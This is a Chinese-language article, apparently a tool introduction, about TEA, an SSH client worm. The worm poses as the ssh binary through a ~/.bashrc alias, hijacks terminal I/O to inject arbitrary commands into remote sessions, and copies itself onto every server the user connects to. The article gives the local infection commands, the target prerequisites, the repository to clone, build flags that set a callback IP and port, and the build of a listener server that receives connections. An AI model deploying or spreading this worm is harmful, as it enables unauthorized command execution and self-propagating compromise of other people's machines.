TEA:一款基於TAS框架的SSH客戶端蠕蟲
摘要:我們首次執行fakessh時,並不會顯示任何內容,工具會執行post-install.c中的代碼,並將字符串alias ssh=”~/.sshworm/ssh”寫入到~/.bashrc中:。TEA是一款基於TAS框架的SSH客戶端蠕蟲,從本質上說,它是一個仿冒的SSH客戶端,它能夠修改tty輸入/輸出來實現任意命令執行,或通過SSH連接來上傳自身以實現滲透感染。
TEA是一款基於TAS框架的SSH客戶端蠕蟲,從本質上說,它是一個仿冒的SSH客戶端,它能夠修改tty輸入/輸出來實現任意命令執行,或通過SSH連接來上傳自身以實現滲透感染。
爲了實現該工具的正常功能,遠程主機需要滿足以下條件:
1、在登錄時顯示“Last login”信息; 2、dd和stty; 3、目標用戶使用Bash作爲默認Shell; 4、可運行fakessh代碼; 5、~/.bashrc可寫入;
感染本地主機:
mkdir ~/.sshworm cp ssh ~/.sshworm alias ssh='~/.sshworm/ssh'
我們首次執行fakessh時,並不會顯示任何內容,工具會執行post-install.c中的代碼,並將字符串alias ssh=”~/.sshworm/ssh”寫入到~/.bashrc中:
$ ssh $ ssh usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file] [-J [user@]host[:port]] [-L address] [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address] [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]] destination [command]
實現傳播和感染
我們只需要連接到目標SSH服務器,並且服務器滿足TEA運行條件的話,目標設備以及連接至目標設備的主機就可以成功被感染。
tty修改:
Fakessh執行之後,它將會等到字符串“Last login”來開啓I/O修改(output-hooks.c),當接收到“Last login”之後,它將會發送一些任意指令(inject-cmd.c),然後等待命令執行的結果(output-hooks.c)。如果遠程設備中不存在文件~/.sshworm/ssh的話,蠕蟲將會上傳自身(upload.c)。
卸載:
$ rm -rf ~/.sshworm $ perl -i -pe 's;alias ssh="~/.sshworm/ssh";;g' ~/.bashrc $ unalias ssh
編譯
我建議大家使用 musl-libc ,或其他的libc,但我不建議大家使用glibc,因爲使用glibc編譯的代碼會非常大。
獲取源碼:
$ git clone –recurse-submodules https://github.com/hc0d3r/tea
構建選項:
名稱 | 介紹 |
---|---|
IP | 遠程IPv4 連接 |
PORT | 遠程port 連接 |
樣例:
$ make CC=musl-gcc IP=my-ipv4 PORT=1234
服務器
這裏我們製作了一個簡單的服務器來處理鏈接,當post-install.c的代碼被執行之後,服務器將會接收到鏈接。服務器機制非常簡單,當新鏈接建立成功之後,它將會執行一條新的命令並通過命令行傳遞鏈接文件描述符,這樣才能保證執行的程序能夠處理鏈接。
編譯:
$ cd server $ make cc -Wall -Wextra -O3 -c net.c -o net.o cc -Wall -Wextra -O3 -c replace.c -o replace.o cc -Wall -Wextra -O3 -c term.c -o term.o cc -Wall -Wextra -O3 -c main.c -o main.o cc -Wall -Wextra -O3 -o server net.o replace.o term.o main.o
工具演示